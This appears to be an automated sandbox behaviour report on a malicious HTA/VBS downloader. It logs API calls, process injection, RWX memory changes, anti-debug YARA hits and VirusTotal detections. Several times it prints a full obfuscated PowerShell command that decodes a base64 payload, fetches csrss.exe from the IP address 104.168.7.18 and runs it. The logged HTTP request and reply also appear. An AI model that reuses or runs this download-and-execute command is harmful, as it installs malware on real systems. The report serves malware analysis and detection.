NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 region_size: 12718080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002b90000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000037b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (2 events)

file	c:\Users\test22\AppData\Local\Temp\_twcsxgn.dll
file	C:\Users\test22\AppData\Roaming\csrss.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	C:\Windows\System32\cmd.exe "/C poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"
cmdline	"C:\Windows\system32\cmd.exe" "/C poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"
cmdline	poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\_twcsxgn.dll

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 11, 2025, 3:31 p.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: "/C poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))" filepath: C:\Windows\System32\cmd.exe	1	1	0

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 1780 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x000007fffff80000 process_handle: 0xffffffffffffffff	1	0	0

URL downloaded by powershell script (2 events)

Data received

HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 06:32:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 09 Apr 2025 12:25:12 GMT ETag: "e5e00-632578f8f3011" Accept-Ranges: bytes Content-Length: 941568 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $6Ïr}Ãr}Ãr}Ã4,"p}ÃìÝs}Ã/A}Ã/#Ã}Ã/"G}Ã{@{}Ã{PW}Ãr}ÂRÃ)"}Ãs}Ã/s}Ãr}Ts}Ãs}ÃRichr}ÃPELgögà"Þ|Í}ð@Ð}@@@L¤|pÄÕPqÀ+ pH @ð.textÄÜÞ `.rdataáðââ@@.datatàRÄ@À.rsrcÄÕpÖ@@.relocqP

Poweshell is sending data to a remote host (2 events)

Data sent	!
Data sent	GET /701/csrss.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 104.168.7.18 Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW April 11, 2025, 3:31 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3068 CREDAT:145409
cmdline	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\_twcsxgn.cmdline"

Communicates with host for which no DNS query was performed (1 event)

host

104.168.7.18

Deletes executed files from disk (2 events)

file	C:\Users\test22\AppData\Local\Temp\RES4751.tmp
file	c:\Users\test22\AppData\Local\Temp\CSC46C3.tmp

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (5 events)

Time & API	Arguments	Status	Return
send April 11, 2025, 3:32 p.m.	buffer: ! socket: 1248 sent: 1	1	1
send April 11, 2025, 3:32 p.m.	buffer: GET /701/csrss.exe HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 104.168.7.18 Connection: Keep-Alive socket: 1284 sent: 323	1	323
send April 11, 2025, 3:32 p.m.	buffer: ! socket: 1248 sent: 1	1	1
InternetCrackUrlA April 11, 2025, 3:32 p.m.	url: http://104.168.7.18/701/csrss.exe flags: 0	1	1
URLDownloadToFileW April 11, 2025, 3:32 p.m.	url: http://104.168.7.18/701/csrss.exe stack_pivoted: 0 filepath_r: C:\Users\test22\AppData\Roaming\csrss.exe filepath: C:\Users\test22\AppData\Roaming\csrss.exe		-2146697205

An executable file was downloaded by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv April 11, 2025, 3:32 p.m.	buffer: HTTP/1.1 200 OK Date: Fri, 11 Apr 2025 06:32:33 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 09 Apr 2025 12:25:12 GMT ETag: "e5e00-632578f8f3011" Accept-Ranges: bytes Content-Length: 941568 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $6Ïr}Ãr}Ãr}Ã4,"p}ÃìÝs}Ã/A}Ã/#Ã}Ã/"G}Ã{@{}Ã{PW}Ãr}ÂRÃ)"}Ãs}Ã/s}Ãr}Ts}Ãs}ÃRichr}ÃPELgögà"Þ\|Í}ð@Ð}@@@L¤\|pÄÕPqÀ+ pH @ð.textÄÜÞ `.rdataáðââ@@.datatàRÄ@À.rsrcÄÕpÖ@@.relocqP received: 1024 socket: 1284	1	1024	0

One or more non-whitelisted processes were created (4 events)

parent_process	iexplore.exe	martian_process	"C:\Windows\system32\cmd.exe" "/C poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"
parent_process	iexplore.exe	martian_process	C:\Windows\System32\cmd.exe "/C poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Roaming\csrss.exe
parent_process	powershell.exe	martian_process	"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\_twcsxgn.cmdline"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3068 resumed a thread in remote process 1780
NtResumeThread April 11, 2025, 3:31 p.m.	thread_handle: 0x000000000000035c suspend_count: 1 process_identifier: 1780	1	0	0

Created a process named as a common system process (2 events)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW April 11, 2025, 3:32 p.m.	thread_identifier: 0 thread_handle: 0x0000000000000000 process_identifier: 0 current_directory: C:\Users\test22\Desktop filepath: C:\Users\test22\AppData\Roaming\csrss.exe track: 0 command_line: "C:\Users\test22\AppData\Roaming\csrss.exe" filepath_r: C:\Users\test22\AppData\Roaming\csrss.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000000000000000		0	0
ShellExecuteExW April 11, 2025, 3:32 p.m.	show_type: 1 filepath_r: C:\Users\test22\AppData\Roaming\csrss.exe parameters: filepath: C:\Users\test22\AppData\Roaming\csrss.exe		0	0

Creates a suspicious Powershell process (6 events)

option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile
option	-ex bypass	value	Attempts to bypass execution policy
option	-nop	value	Does not load current user profile

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VKMIWH9C\csrss[1].exe

File has been identified by 31 AntiVirus engines on VirusTotal as malicious (31 events)

Lionic	Trojan.HTML.Generic.4!c
CTX	html.trojan.obfuscated
ALYac	VBS.Heur.Asthma.2.F57549AD.Gen
VIPRE	VBS.Heur.Asthma.2.F57549AD.Gen
Arcabit	VBS.Heur.Asthma.2.F57549AD.Gen
VirIT	Trojan.HTA.Agent.IAB
Symantec	ISB.Downloader!gen80
ESET-NOD32	VBS/Obfuscated.AO
TrendMicro-HouseCall	HEUR_EMBVBS.EE1
Avast	BV:Agent-BVA [Drp]
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	VBS.Heur.Asthma.2.F57549AD.Gen
NANO-Antivirus	Trojan.Script.Vbs-heuristic.druvzi
MicroWorld-eScan	VBS.Heur.Asthma.2.F57549AD.Gen
Rising	Downloader.Agent/PS!8.1250D (TOPIS:E0:Z2EhJC5ISqO)
Emsisoft	VBS.Heur.Asthma.2.F57549AD.Gen (B)
DrWeb	VBS.Starter.408
TrendMicro	HEUR_EMBVBS.EE1
Sophos	Troj/HTADl-QB
Ikarus	Trojan-Downloader.PowerShell.Agent
Google	Detected
Microsoft	Trojan:Win32/Znyonm!rfn
ViRobot	HTML.Z.Agent.15059
ZoneAlarm	Troj/HTADl-QB
GData	VBS.Heur.Asthma.2.F57549AD.Gen
Varist	JS/Agent.CMC3.gen!Eldorado
Tencent	Script.Trojan.Generic.Bnhl
huorong	TrojanDownloader/VBS.Agent.hw
Fortinet	VBS/Obfuscated.AO!tr
AVG	BV:Agent-BVA [Drp]
alibabacloud	Trojan:Win/Obfuscated.AP

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